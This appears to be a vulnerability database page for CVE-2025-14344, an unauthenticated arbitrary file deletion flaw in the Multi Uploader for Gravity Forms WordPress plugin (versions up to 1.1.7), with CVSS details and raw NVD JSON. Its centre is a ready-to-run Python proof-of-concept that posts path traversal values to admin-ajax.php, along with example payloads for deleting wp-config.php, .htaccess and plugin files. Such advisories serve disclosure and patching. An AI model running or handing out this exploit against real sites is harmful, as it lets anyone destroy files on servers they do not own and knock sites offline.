Security Vulnerability Report
中文
CVE-2025-14344 CVSS 9.8 CRITICAL

CVE-2025-14344

Published: 2025-12-12 04:15:50
Last Modified: 2026-04-15 00:35:42

Description

The Multi Uploader for Gravity Forms plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'plupload_ajax_delete_file' function in all versions up to, and including, 1.1.7. This makes it possible for unauthenticated attackers to delete arbitrary files on the server.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Multi Uploader for Gravity Forms ≤ 1.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14344 PoC - Arbitrary File Deletion # Multi Uploader for Gravity Forms < 1.1.8 import requests import sys def delete_arbitrary_file(target_url, file_path): """ Delete arbitrary file via CVE-2025-14344 Args: target_url: Target WordPress site URL file_path: Path of file to delete (can use ../ for path traversal) """ # Construct the AJAX endpoint endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Prepare the malicious request data = { 'action': 'plupload_ajax_delete_file', 'file': file_path # Path traversal payload } try: # Send unauthenticated request response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Attempting to delete: {file_path}") print(f"[*] Response: {response.text}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Example payloads: # Delete wp-config.php: ../../wp-config.php # Delete .htaccess: ../../../.htaccess # Delete plugin files: ../../wp-content/plugins/gf-multi-uploader/main.php if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-14344.py <target_url> <file_to_delete>") print("Example: python cve-2025-14344.py http://example.com '../../wp-config.php'") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] delete_arbitrary_file(target, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14344", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:49.590", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Multi Uploader for Gravity Forms plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'plupload_ajax_delete_file' function in all versions up to, and including, 1.1.7. This makes it possible for unauthenticated attackers to delete arbitrary files on the server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gf-multi-uploader/tags/1.1.7/inc/GFMUHandlePluploader.class.php?marks=41-43#L41", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3421317/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/346af237-0411-4cc4-9544-eab697385a2f?source=cve", "source": "[email protected]"}]}}